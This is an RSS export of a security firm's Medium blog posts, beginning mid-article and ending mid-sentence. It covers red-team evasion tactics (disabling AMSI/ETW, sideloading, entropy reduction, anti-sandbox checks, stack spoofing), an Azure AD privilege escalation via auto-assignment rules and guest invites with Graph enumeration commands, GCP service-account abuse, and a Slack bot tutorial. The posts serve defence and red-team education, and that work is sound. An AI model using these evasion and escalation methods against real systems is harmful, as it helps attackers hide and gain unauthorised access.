be reduced with conditional access or similar security measures.</li><li>Misconfigurations that can be abused to remotely execute code.</li><li>Taking advantage of new vulnerabilities that allow for remote code execution (such as the MS Exchange’s numerous vulnerabilities, VPN provider’s vulnerabilities, etc.)</li></ul><p>Assuming that the attacker has already gained access to the internal network, let’s discuss a few important points to consider from the perspective of post-exploitation.</p><p><strong>Communication channel:</strong></p><p>Bypassing domain monitoring and SSL interception is situational and depends on the segment the attacker made his way into(for instance, certain segments might not have outbound HTTPS, and no access to the organizational proxy).</p><p>There are those of the belief that due to the increased monitoring of HTTPS, it’s best not to use it and rely instead on other “normal” organizational traffic (such as ICMP and DNS tunneling, DNS over HTTPs, Outlook COM <a href="https://github.com/aahmad097/BadOutlook">object</a> ). In my opinion though, a project that utilizes HTTPS nicely is by WithSecure (previously known as F-secure) that offers an effective way to enhance your HTTPS C2 communication channels, building on various chatbot service APIs (Slack, Discord to name a few).</p><p>WithSecure offers an opensource <a href="https://github.com/WithSecureLabs/C3/">solution</a> that supports Cobalt Strike and Covenant out-of-the-box. Their implementation of peripherals, connectors, and channels allows a dedicated team to implement their own channels along with a different execution logic.</p><p><strong>Execution Features:</strong></p><p>Several things to keep in mind when developing your own offensive infrastructure: ensure its interoperability with existing tools, reduce development time, and make use of cool open-source tools!</p><p>There are a lot of existing opensource tools written in C/CPP that utilize the logic of loading C# tools in memory <a href="https://github.com/TheWover/donut/blob/master/loader/inmem_dotnet.c">and the parsing of the arguments to pass onto the C# program</a> (also being utilized by Microsoft Signed binaries legitimately, which is another thing to consider if you want to “blend in”), and redirect its STDOUT/STDERR to a <a href="https://github.com/N4kedTurtle/ExecuteAssembly_Mailslot">mailslot</a> (in-memory named pipe).</p><p>Similarly, there are existing community tools that can be used to load Beacon Object File<a href="http://s/">s</a> (BOF). These and other community tools are continuously updated and are available for security teams to use and integrate with their own infrastructure</p><p>Delivering these payloads through your channel without the creation of a sacrificial process (such as the fork and run commonly used by execute-assembly in CS), in the memory of your process (minimizing the risk of crashing your process by setting exception handlers to your thread), disabling AMSI and ETW before execution and without the payloads ever touching the disk, is vital for evasion.</p><p><strong>Application whitelisting bypass:</strong></p><p>I don’t think this method gets enough credit. Here’s an <a href="https://www.tarlogic.com/blog/threat-hunting-evasion-restricted-environment/">example</a> of basing an entire payload delivery around a signed, well-known software, with a <a href="https://codesigningstore.com/why-you-need-ev-code-signing-certificate">(hopefully signed by an Extended Verification Certificate)</a> DLL sideloaded into it.</p><p>This has the benefit of adding other legitimate software to your payload, and running your payload within less-scrutinized software, which appears to have a great effect on a product’s decision to scan its memory at regular intervals.</p><p><strong>Shellcode/DLL encryption and entropy reduction:</strong></p><p>Payload encryption is very common these days (and still very necessary), with products determining if your loader contains malicious code simply by examining its entropy. Replacing your shellcode with English dictionary words (which will have the adverse effect of increasing your final payload size significantly) and adding common strings from known binaries (such as web browsers) will go a long way in entropy reduction.</p><p><strong>Compile-time string obfuscation:</strong></p><p>This one is pretty self-explanatory. You should minimize the strings that can be used to determine your usage of different APIs or other strings present in your binary that are or can be used as a detection logic against your payload.</p><p>This library does the trick well:</p><p><a href="https://github.com/adamyaxley/Obfuscate/blob/master/obfuscate.h">https://github.com/adamyaxley/Obfuscate/blob/master/obfuscate.h</a></p><p><strong>Anti-sandbox:</strong></p><p>Anti-sandbox is extremely important when designing your payload, because it cannot follow common anti-sandbox techniques. It should be tailored to your payload delivery tactics, while taking into account the operators’ ease of use, and not adding extra hurdles or possible bugs that completely prevent the execution of your payload. Below are some great examples to understand the logic of anti-sandbox. However, these ideas should be adapted with care because some might be suspicious on their own:</p><ul><li><a href="https://0xpat.github.io/Malware_development_part_2/">Malware development part 2 - anti dynamic analysis &amp; sandboxes</a></li><li><a href="https://evasions.checkpoint.com/?s=08">Evasion techniques</a></li></ul><p><strong>Separate loader project:</strong></p><p>Performing process injection these days is far less detected when performed within the process itself (opposed to remote process injection), even more so when the process is a signed binary, and even more so when it’s signed by Microsoft.</p><p>Sideloading your payloads (like in the demonstration at the application whitelist bypass) goes a long way into making even post-exploitation items (such as inline dotnet execution) not detected by automated scanners, due to these well-known executables receiving less scrutiny (in the defensive products attempt at avoiding false positives).</p><p>Hiding your actual implant within a loader project that is constructed in a manner that combines all of the above does the trick well, in conjunction with hiding your implant in memory when it is sleeping (demonstrated also in <a href="https://github.com/mgeeky/ShellcodeFluctuation)">https://github.com/mgeeky/ShellcodeFluctuation)</a>, and of course spoofing the <a href="https://github.com/mgeeky/ThreadStackSpoofer)">thread call stack</a> to further aid in hiding malicious process behavior.</p><p>Combine this with spoofing of the thread start address (by placing a trampoline over a legitimate module’s function that is never used by the process, though you should definitely double check that) along with the removal of the “Mark of the Syscall” (excellently explained here) <a href="https://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/">https://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/ </a>and of course implementing all of the above will help your loader remain under the radar.</p><p><em>Yigal Van Dongen initialy joined </em><a href="https://cyesec.com/"><em>CYE</em></a><em> as a Red Team Expert specializing in endpoint malware security evasion. Today he works as a security researcher specializing in malware development and endpoint security evasion and works in developing CYE’s tools for red team operations.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5501784a287" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyesec/building-a-modern-red-team-infrastructure-e5501784a287">Building a Modern Red Team Infrastructure</a> was originally published in <a href="https://medium.com/cyesec">CYESEC</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Azure AD Privilege Escalation through Auto Assignment Policies]]></title>
            <link>https://medium.com/cyesec/azure-ad-privilege-escalation-through-auto-assignment-policies-2d0422be4f25?source=rss----8af97e3d540f---4</link>
            <guid isPermaLink="false">https://medium.com/p/2d0422be4f25</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[azure]]></category>
            <category><![CDATA[privilege]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[research]]></category>
            <dc:creator><![CDATA[CYE]]></dc:creator>
            <pubDate>Thu, 10 Nov 2022 10:40:25 GMT</pubDate>
            <atom:updated>2023-04-27T08:58:13.341Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gvARn0HytAiPaKdL7FYB0Q.jpeg" /></figure><p>A recently released Azure AD Identity Governance feature can be abused for Privilege Escalation within Azure Environments through dynamic membership rules.</p><h4><strong>Dynamic Membership Rules, and the Risks</strong></h4><p>Besides the ordinary IAM, Azure AD has an extensive list of features that are intended to help and empower how organizations manage their users and groups, through different layers and perspectives.</p><p>A common component that’s rising in popularity among Azure AD features is Dynamic Membership Rules — appearing in places like Dynamic Groups, Administrative Units, and recently Access Package Auto Assignment policies.</p><p>A membership rule is a single string, that can contain multiple expressions, which automatically detects when attributes of a user or a device change within the tenant, triggering whatever action the feature was set out to do.</p><p>Here is an example membership rule designed to trigger all users within the Sales department that also have the letters “Adm” in any part of their display name.</p><pre>(user.department -eq &quot;Sales&quot;) and (user.displayName -contains &quot;Adm_&quot;)</pre><p>The feature is very useful, but it can also lead to unwanted and potentially exploitable outcomes if administrators don’t pay close attention to the conditions they set.</p><p>For example, in the rule described here, a look at the second expression reveals an issue around the “contains” condition.</p><p>“Contains” means that the expression will be true, as long as the right value (e.g. “Adm_”) appears in any segment of the left value (e.g., “user.displayName”).</p><p>If an administrator decides that anyone on the IT team always gets the suffix “Adm_” added to their display name, you would expect that only IT users would be subject to this rule. However, many other users will probably fall under this rule.</p><p>The same logic applies to other conditions such as “<strong>startsWith,</strong>” “<strong>notStartsWith,</strong>” “<strong>notContains,</strong>” “<strong>in,</strong>” “<strong>notIn,</strong>” and more.</p><p>Another exploitable issue surrounds rules that depend on user or device attributes which can be altered to allow hackers to insert themselves into privileged groups and resources. If a tenant’s guest configurations are not tightly defined and rules properly set to keep predators out, any user can invite guest accounts in, as evidenced in this example:</p><pre>user.userPrincipalName -contains &quot;mydomain.com&quot;</pre><p>It could appear that a user’s “<strong>userPrincipalName</strong>” can’t be altered, making loose comparisons impossible penetration routes. However, if a threat actor with a weak user can invite tenant guests, the rule does become exploitable.</p><p>These and other potentially exploitable outcomes of the membership rule in Dynamic Groups is a hot topic in the security community, and can be read about <a href="https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/">here</a>. We can expect the issue to persist in new Azure features as well. Be on the lookout for it in upcoming features dependent on the existing membership rule component.</p><p>This brings us to central focus of this blog — Auto Assignment Policies.</p><h4><strong>Access Package Auto Assignment Policies</strong></h4><p>For an attack to occur, several mistakes must be made by the Azure administrators. To better understand the escalation, let’s look at it from the perspective of a vulnerable organization.</p><p>This is what the Access Packages pane looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EHi2uJlT1_nHAFyVTo7AFw.png" /></figure><p>At the access package level, the administrator defines what the access package provides; for example, access to groups, Azure APIs, etc.</p><p>Let’s configure our access package in a way that any “valid” users that are granted the Access Package can become owners of the “TargetGroup” AD group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zZki95qYVLYCiqLe0J7NIg.png" /></figure><p>During the creation of the package, we are also prompted to create an initial policy, which is not automatically assigned. This will conclude in our first Access Package.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*T_xwuCHwounMruoP2056bQ.png" /></figure><p>If we go to Policies, we’ll notice a new button: “Add auto assignment policy.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sE6MBlEURz4hSjTfSYEljg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*krF-Ydnvd5td0OTDlCljqQ.png" /></figure><p>This button will be our gateway to utilizing the Dynamic Membership Rules feature. From the administrator’s perspective, we have created a weak rule that grants anyone access to our defined resources (TargetGroup) who has a “<strong>userPrincipalName</strong>” attribute that contains the “<strong>wantedstring</strong>” substring.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qPtRqj_9mQNvS-Y6cfreMA.png" /></figure><p>At this point, the new weak policy will show zero Active Assignments. This means no existing user in the tenant currently matches the rule syntax, so no one is being assigned the Access Package.</p><p><strong>Attack Path</strong></p><p>From an attack perspective, the scenario is as follows:</p><ul><li>Attacker has a compromised Azure AD user, but it doesn’t have privileges within the tenant</li><li>During the information gathering phase, it learns about possible weak rules that might exist under Access Packages</li><li>Attacker creates a third-party mailbox, named in a way that may match the vulnerable rule syntax (e.g., “<strong>wantedstring</strong>”)</li><li>Attacker uses its legitimate account to invite the third-party email address as a tenant guest</li><li>The tenant guest’s auto-created User Principal Name attribute is derived from its email address, which was set up by the attacker to comply with the weak rule syntax</li><li>Guest account is automatically added to the TargetGroup due to the auto assignment policy</li><li>Attacker now has compromised a user that belongs to the TargetGroup group and benefits from any new privileges it grants</li></ul><p>In the case of Dynamic Groups, arbitrary users (group read access) are allowed to run queries like this to fetch weak membership rules:</p><pre>az rest -u &quot;https://graph.microsoft.com/v1.0/groups?$filter=membershipRule ge &#39; &#39;&amp;$select=id,displayName,membershipRule</pre><p>For arbitrary users, Access Packages is harder to abuse than the Dynamic Groups Privilege escalation vector which would be a better attack route for an attacker with the “<strong>EntitlementManagement.Read.All</strong>” permission. It creates a blind spot, leaving the attacker to either start bulk-inviting guests hoping a condition is met, or try to deduce weak rule attributes by the package description, organizational patterns, etc.</p><p>If the user has enough permissions, combining these two commands will return the assignment membership rules (the “<strong>specificAllowedTargets</strong>” property contains the actual membership rule of the assignment):</p><pre><strong>az rest -u</strong> https://graph.microsoft.com/v1.0/identityGovernance/entitlementManagement/accessPackages</pre><pre><strong>az rest -u </strong>https://graph.microsoft.com/v1.0/identityGovernance/entitlementManagement/accessPackages/&lt;ID&gt;?$expand=assignmentPolicies</pre><p>Also, the attacker would have to ensure that the tenant allows guest invitations — a default setting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*b4rK0LrozmC5V55Urq-dSg.png" /></figure><p>With that ability, the attacker can now create a third-party email matching the weak rule:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*zcvQbxhWi6GXUt9uoLE_cQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*WMJqSrsodXvLoSAjxuZ3EQ.png" /></figure><p>This will create a new user within the inviting tenant, with the User Principal Name of “imnotthe<strong>wantedstring</strong>_protonmail.com#EXT#&lt;ORG-DOMAIN&gt;”, which matches against the membership rule of “user.userPrincipalName -contains <strong>wantedstring</strong>.”</p><p>The attacker now has a guest account in its control, which also benefits from the automatic policy assignments, assigning it in this case to be a group owner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*Yp7ua2uVr2Zf2by_Bl1z5g.png" /></figure><p>The severity of the elevation varies depending on what the auto assignment policy really grants, and what eventual privileges the user ends up with.</p><h3>Protect your organization</h3><p>Dynamic membership rules drive stronger IAM security by being an elegant alternative to other management practices. But their use comes with measurable risk. To mitigate these risks, double check these items:</p><ul><li>“<strong>contains,</strong>” “<strong>startsWith,</strong>” “<strong>notStartsWith,</strong>” “<strong>notContains,</strong>” “<strong>in,</strong>” and “<strong>notIn</strong>” are loose, easily exploitable operations. Think twice before you use them.</li><li>The “<strong>match</strong>” and “<strong>notMatch</strong>” operators are used for matching regular expressions, which often introduce unexpected results, and are only recommended if you know your regex.</li><li>“<strong>eq</strong>” and “<strong>ne</strong>” are the most preferable operators, but that doesn’t mean they can’t introduce mistakes as well if used incorrectly. For example, “user.accountEnabled -eq true” will dynamically add all the enabled users in the tenant.</li></ul><h3>Final Thought</h3><p>Always think about what properties might be controlled by ordinary users in your tenant when creating rules. For example, if guest invitation is available for all users (which is enabled by default, but not recommended), be extra cautious when using rules that depend on properties that the inviting user can control, like “<strong>user.mail</strong>” and “<strong>user.userPrincipalName</strong>”.</p><p>Common risky expression examples❌❌💉</p><pre>user.displayName -contains &quot;Adm_&quot;</pre><pre>user.department -ne null</pre><p>Better alternatives ✔👌</p><pre>(user.displayName -startsWith &quot;Adm_&quot;) and (user.mail -endsWith &quot;@myorg.com&quot;)</pre><pre>(user.department -eq &quot;Sales&quot;) and (user.mail -endsWith &quot;@myorg.com&quot;)</pre><p><em>Tomer Bar has been in the cyber security field for more than 5 years. During which time he engaged in Penetration Testing against various technologies, operated in red team assessments, and led two penetration testing teams. Currently, Tomer works as a Security Researcher at </em><a href="https://cyesec.com/"><em>CYE</em></a><em>.</em></p><p><strong>References</strong></p><ul><li><a href="https://techcommunity.microsoft.com/t5/microsoft-entra-azure-ad-blog/dynamic-automated-access-with-azure-ad-entitlement-management/ba-p/2466937">https://techcommunity.microsoft.com/t5/microsoft-entra-azure-ad-blog/dynamic-automated-access-with-azure-ad-entitlement-management/ba-p/2466937</a></li><li><a href="https://docs.microsoft.com/en-us/azure/active-directory/enterprise-users/groups-dynamic-membership">https://docs.microsoft.com/en-us/azure/active-directory/enterprise-users/groups-dynamic-membership</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d0422be4f25" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyesec/azure-ad-privilege-escalation-through-auto-assignment-policies-2d0422be4f25">Azure AD Privilege Escalation through Auto Assignment Policies</a> was originally published in <a href="https://medium.com/cyesec">CYESEC</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Zero to Hero]]></title>
            <link>https://medium.com/cyesec/from-zero-to-hero-e49bf9ce0e2b?source=rss----8af97e3d540f---4</link>
            <guid isPermaLink="false">https://medium.com/p/e49bf9ce0e2b</guid>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[google]]></category>
            <category><![CDATA[terraform]]></category>
            <category><![CDATA[gcp]]></category>
            <category><![CDATA[services]]></category>
            <dc:creator><![CDATA[CYE]]></dc:creator>
            <pubDate>Wed, 14 Sep 2022 11:33:42 GMT</pubDate>
            <atom:updated>2024-01-21T11:17:21.065Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Us0zM8FUJaX_aWijgZ3yAw.png" /></figure><h4><strong>The Power of GCP Service Accounts</strong></h4><p>Nowadays, more and more organizations are migrating their on-premises environments to the cloud. Cloud platforms are more secure on certain levels, but IT and security teams must understand the weak points. One notable weak point is misconfigured identities, especially service accounts in the Google Cloud Platform (GCP).</p><p><strong>Basic Privilege Escalation Techniques</strong></p><p>The first challenge a threat actor faces when attacking a Google Cloud environment is gaining the valid access token of a GCP user. This token may be obtained by server-side request forgery, phishing, or accessing a developer’s local file system.</p><p>After bypassing this challenge however, the real test for an attacker begins — abusing a user’s permissions to compromise the GCP environment. With luck, the compromised user will be able to escalate privileges by one or more of the commonly used techniques, for example:</p><blockquote>iam.roles.update — allows you to edit the permissions of your given custom IAM role, and basically grant yourself higher privileges.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zi8squazKX9RQCK8qiPIXg.png" /><figcaption><em>Figure 1: Privilege escalation using iam.roles.update permission</em></figcaption></figure><blockquote>iam.serviceAccounts.getAccessToken — allows you to request an access token for a service account, which may be more privileged than you.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*04_VoDXrmXWEDxiuEwP-Dw.png" /><figcaption><em>Figure 2: Privilege escalation using iam.ServiceAccounts.getAccessToken permission</em></figcaption></figure><p>Nowadays, blue teams invest lots of effort to prevent these risks by implementing the least privilege principal. Consequently, it makes it very difficult for attackers to escalate privileges from their regular user.</p><p><strong>Least Privilege Principal in Google Cloud</strong></p><p>The principle of least privilege states that a cloud resource should only have access to the exact resources it needs in order to function.</p><p>For example, if an IT user is the owner of a specific database, then the permissions should be restricted to “owner” permissions on exactly one database, i.e., “owner” permissions at the resource level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OUhZeBQvpER_wWhxH9U0ew.png" /><figcaption><em>Figure 3: GCP resource hierarchy for access control</em></figcaption></figure><p>During my latest GCP assessments, I have noticed that blue teams have a high awareness of the least privilege principal among users, but sometimes they do not pay enough attention to other identities, such as service accounts.</p><p><strong>What is a Service Account?</strong></p><p>A service account is a special kind of GCP account identified by its email address, which is unique to the given project. Service accounts are used by services such as Google Kubernetes Engine (GKE), Cloud Functions, and Compute Engine virtual machine (VM) instances. Resources use service accounts to make authorized API calls.</p><p>Threat actors might abuse the fact that some service accounts have excessive privileges in order to move laterally and escalate privileges in the GCP environment.</p><p><strong>Abusing Google Compute Engine Default Service Accounts</strong></p><p>One common example is the Compute Engine default service accounts. <br>New projects that have enabled the Compute Engine API will have a Compute Engine default service account. This service account is created with the IAM basic “Editor” role, which is highly privileged in the project.</p><p>The Compute Engine service account is attached by default to all instances created by the Google Cloud CLI and the Google Cloud console, unless a different service account, or no service account at all, is specified during the instance creation.</p><p>In addition, the default scope of this account is: “https://www.googleapis.com/auth/cloud-platform.” This scope enables the service account to have full access to the enabled GCP APIs. Thus, if one Compute Engine instance gets compromised, the attacker can move laterally across the other instances in the project. In addition, the attacker can take over other GCP services by abusing the “Editor” role and the default API access scope.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Gc9mT5TVIeFYacXb-e8Wg.png" /><figcaption><em>Figure 4: Abusing the Compute Engine Default Service Account</em></figcaption></figure><p>Therefore, it is highly recommended to pay attention to the default service accounts to increase your cloud environment’s security. However, it’s not enough…</p><p><strong>Abusing Misconfigured Custom Service Accounts</strong></p><p>These examples are not just hypothetical. In one of my latest cloud assessments, I could tell that the organization was highly mature and followed the Least Privilege Principle in an exceptional way.</p><p>Yet, despite all their efforts, I managed to take over the cloud environment by exploiting one custom service account that did not follow the principle precisely.</p><p>My adventure began as a regular developer user in a GCP environment. After a quick and brief scout, I noticed that my user did not have any permissions, which allowed me to escalate my privileges using the classic techniques. One thing in particular that caught my attention, however, was the Kubernetes cluster that I had access to.</p><p>While wandering around, I found a GCP service account’s access key, which was stored as a Kubernetes secret. Happy and hopeful, I logged in to the environment with the obtained access key.</p><p>But unfortunately, the service user did not seem to be so helpful — the strongest permissions only granted the ability to read and write storage buckets.</p><p>At this point, I was at a major crossroads. I had an extremely interesting find, as I was able to retrieve a valid key which was stored as a cleartext secret, but at the same time, I had nothing that was worth immediate reporting. After thinking of what my next step could be, I decided to pool all of my resources together and get to the content of all the storage buckets to try and find something useful. Through this, I managed to find several certificates and cleartext credentials for third-party services. And while this was nice, I still wanted to achieve my “knockout.”</p><p>Not giving up hope, I continued with my search through the buckets and, sooner than expected, I found my “knockout.”</p><p>I discovered that one of the storage buckets contained Terraform configuration files. After a quick conversation with the environment owners, I understood that these files are used by Terraform to control several services in the cloud environment. By altering these files, I could fundamentally affect the confidentiality, integrity, and availability of all these services — including the Compute Engine disks, VPC networks, GKE clusters, Redis instances, Google Storage objects, and IP addresses, to name a few.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R84K3oLlMUVno3kx8y6Hvw.png" /><figcaption><em>Figure 5: Abusing Misconfigured Custom Service Account</em></figcaption></figure><p><strong>Mitigation and Suggestions</strong></p><p>Now that you understand how the service account misconfiguration can be used to compromise the Google cloud environment, I recommend taking these actions as soon as possible:</p><ul><li>GCP predefined roles (Owner, Editor, Viewer) include thousands of permissions across all Google Cloud services. Avoid granting basic roles unless there is no alternative. Instead, grant the most limited predefined roles or custom roles that meet your needs.</li><li>Follow the principle of least privilege and revoke the “Editor” role from the default Compute Engine service account.</li><li>After revoking the editor role, add as many specific roles as possible to the modified default service account.</li><li>If possible, try not to use the default service account. Create custom service accounts for Compute Engine instances.</li><li>Rotate service account keys on a regular basis.</li><li>Don’t check in service account keys into source codes or configurations.</li><li>Use logs from Cloud Audit Logs to regularly audit access to service account keys.</li></ul><p><a href="https://www.linkedin.com/in/shani-peled-28b3211a3/"><em>Shani Peled</em></a><em> successfully completed her Cyber Shield Course within the Israeli Defense Forces, where she also served in an underground unit and as a team leader. Shani currently works as a Red Team Expert at </em><a href="https://cyesec.com/"><em>CYE</em></a><em>, and as an esteemed all-rounder, specializes in all matters related to the cyber security field.</em></p><p><strong>For more information:</strong></p><ul><li><a href="https://cloud.google.com/iam/docs/using-iam-securely#:~:text=Least%20privilege,-%E2%9D%91&amp;text=Basic%20roles%20include%20thousands%20of,roles%20that%20meet%20your%20needs">https://cloud.google.com/iam/docs/using-iam-securely#:~:text=Least%20privilege,-%E2%9D%91&amp;text=Basic%20roles%20include%20thousands%20of,roles%20that%20meet%20your%20needs</a>.</li><li><a href="https://cloud.google.com/compute/docs/access/service-accounts">https://cloud.google.com/compute/docs/access/service-accounts</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e49bf9ce0e2b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyesec/from-zero-to-hero-e49bf9ce0e2b">From Zero to Hero</a> was originally published in <a href="https://medium.com/cyesec">CYESEC</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Creating a Python Slack Bot — The Monkey Guide]]></title>
            <link>https://medium.com/cyesec/creating-a-python-slack-bot-the-monkey-guide-9663d41580fa?source=rss----8af97e3d540f---4</link>
            <guid isPermaLink="false">https://medium.com/p/9663d41580fa</guid>
            <category><![CDATA[how-to-create]]></category>
            <category><![CDATA[slackbot]]></category>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[CYE]]></dc:creator>
            <pubDate>Sun, 14 Aug 2022 08:48:02 GMT</pubDate>
            <atom:updated>2024-01-21T12:50:37.783Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*Ki5Jh-Jqm8ett_sBTWgfng.jpeg" /></figure><h3>Creating a Python Slack Bot — The Monkey Guide</h3><p><strong>Confession</strong>: I really like guides that spell things out for me. Monkey see, monkey do.</p><p>I like them because they allow me to focus on the real challenge I’m trying to overcome instead of the busywork or the configuration. So, I decided to create one that describes how to create a Slack bot in the most detailed and precise manner (which is more than anything I could find). Hopefully, it will save someone time.</p><h3>Lead Submission Slack Bot</h3><p>Like many companies, we at <a href="https://cyesec.com/">CYE</a> encourage our employees to submit CVs of potential candidates — and reward them if the candidates are hired. This, however, created a problem as HR was bombarded with bits of information regarding candidates, which they had to then parse and feed into our candidate pool (sometimes finding out that the candidate was already there).</p><p>So, we realized that we needed a way to submit candidates for consideration that enforced a strict format. This format also needed to include the ability to check our candidate pool and notify the submitter if there was an issue. I went ahead and created a “PartyBot” (don’t worry about the name) for this. The main features included:</p><ul><li>Enforcing a pattern for submission</li><li>Listing the position you are submitting for</li><li>Including the candidates’ LinkedIn profile URL</li><li>Checking the candidate pool and notifying the submitter</li><li>Querying extra information</li><li>Candidates’ CV file</li><li>Candidates’ phone number</li></ul><p><strong>Here is how we did it.</strong></p><p><strong>Important note:</strong> The app we’ll create here will run in <strong>Socket Mode</strong>. This mode is more appropriate for small and internal apps, which operate behind a firewall (which was the case for us) and not for production-grade public apps (e.g. <a href="https://slack.com/app-pages/google-calendar">the google calendar app</a>). It also eliminates the hassle of defining request URLs for the app, so <strong>you can run the bot from anywhere, without a publicly exposed server, and it just works</strong>. Learn more about Socket Mode <a href="https://api.slack.com/socket-mode">here</a>.</p><h4>Here we go.</h4><h3>Create App on Slack API</h3><ol><li>Go to the <a href="https://api.slack.com/apps">Slack App API page</a> and click the create app button</li><li>Click “<strong>From scratch</strong>”</li><li>Give your app a name (this is how users will see it), pick the workspace where it will reside, and click Create App</li></ol><h3>Socket Mode</h3><p>The first thing we’ll do is activate <strong>Socket Mode </strong>for the app. Under the <strong>Settings</strong> side menu; click <strong>Socket Mode</strong>, go down the <strong>Enable Socket Mode </strong>toggle and switch it to enabled. This will trigger the creation of an <strong>app-level token </strong>(which you will use later on). Give the token a name (app-token should be fine ;). Create a tokens.env file and copy the token into it like so SLACK_APP_TOKEN=&quot;&lt;the app token&gt;&quot;.</p><h3>Features and Functionality</h3><p>Go back to <strong>Basic information </strong>under the <strong>Settings </strong>side menu and click <strong>Add features and functionality</strong>.</p><p>You’ll now see the following menu for your app:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zw6VXXyDZkFUBx9fGrOuNA.png" /></figure><p>We’ll <strong>return to this menu</strong> for each of the following subsections.</p><h3>Slash Commands</h3><p>We’ll start by defining the <strong>Slash Commands</strong> which will allow users to better interact with the bot. We will define two commands:</p><ol><li>/partybot-submit [linkedin-url] [full name] — which starts the submission process</li><li>/partybot-report— which shows what submissions were already made</li></ol><p>Click <strong>Create New Command </strong>to add your commands. Don’t forget the <strong>Usage hint </strong>when needed.</p><h3>Event Subscriptions</h3><p>Now we’ll define the events that the bot will listen to. This allows interaction beyond the initial command format, so that the bot will be able to converse with the user. For our needs, it will allow us to ask them questions about the candidate they are submitting and notify them in case something is wrong (e.g., the candidate is already in our pool).</p><ol><li>Click the <strong>Enable Events </strong>toggle to On</li><li>Go to <strong>Subscribe to Bot Events </strong>and click <strong>Add Bot User Event.</strong></li><li>Pick the message.im event which will allow us to know and read direct messages from users</li><li>Save Changes</li></ol><p>If you need to do more with your bot, just pick the required events.</p><h3>Bots</h3><p>This section allows you to modify your bot’s presence in Slack. You may want to enable <strong>Always Show My Bot as Online</strong>. We also clicked the “<strong>Allow users to send Slash commands and messages from the messages tab”</strong> checkbox.</p><h3>Permissions</h3><p>In this section, we define extra permissions we need for the app. Start by scrolling down to the <strong>Scopes</strong> section. You should see the im:history and commands permissions already there. We will also need the following:</p><ol><li>chat:write — which will allow the bot to send messages and chat with the users (not just receive)</li><li>files:read — which will let the app to read the CV files being sent to it</li></ol><p>In some cases, you will of course need to request approval from the workspace admin.</p><p>Now scroll up to <strong>OAuth Tokens for Your Workspace</strong> and click <strong>Install to Workspace</strong>.</p><p>Before we start writing code, go to <strong>OAuth &amp; Permissions</strong> under the <strong>Features </strong>side menu, copy the <strong>Bot User OAuth Token </strong>into the tokens.env file like so SLACK_BOT_TOKEN=”&lt;the bot token&gt;”.</p><h3>App Code</h3><p>The whole app is available on <a href="https://github.com/nimrodpar/PartyBot">Github</a>. Here we will go over the code for the two commands we defined.</p><h3>Show Submission Report</h3><p>Let’s start with the easier command, showing all the submissions made so far. We start handling it by ack()ing the command so the user knows we received it, and retrieving the submitter’s user name and id from the received command.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/198803661da7103c949e4e24a25e2be2/href">https://medium.com/media/198803661da7103c949e4e24a25e2be2/href</a></iframe><p>We iterate over all finished submissions for that user which are saved in done_submissions_by_user[user_name]. From each submission we take the candidate name and add it to the result which is saved in submissions (by position):</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/36d6ce3833cab09674e0c92b7078fcb3/href">https://medium.com/media/36d6ce3833cab09674e0c92b7078fcb3/href</a></iframe><p>Lastly we dump the result into a yamlformat (because we’re too lazy to format it with the markdown 😃) and send it back to the user:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2551554f7d6a03352881a69253ab7e44/href">https://medium.com/media/2551554f7d6a03352881a69253ab7e44/href</a></iframe><h3>Submit a Candidate</h3><p>Now we move to the more complex command of submitting a lead. We start out by ack()ing the command 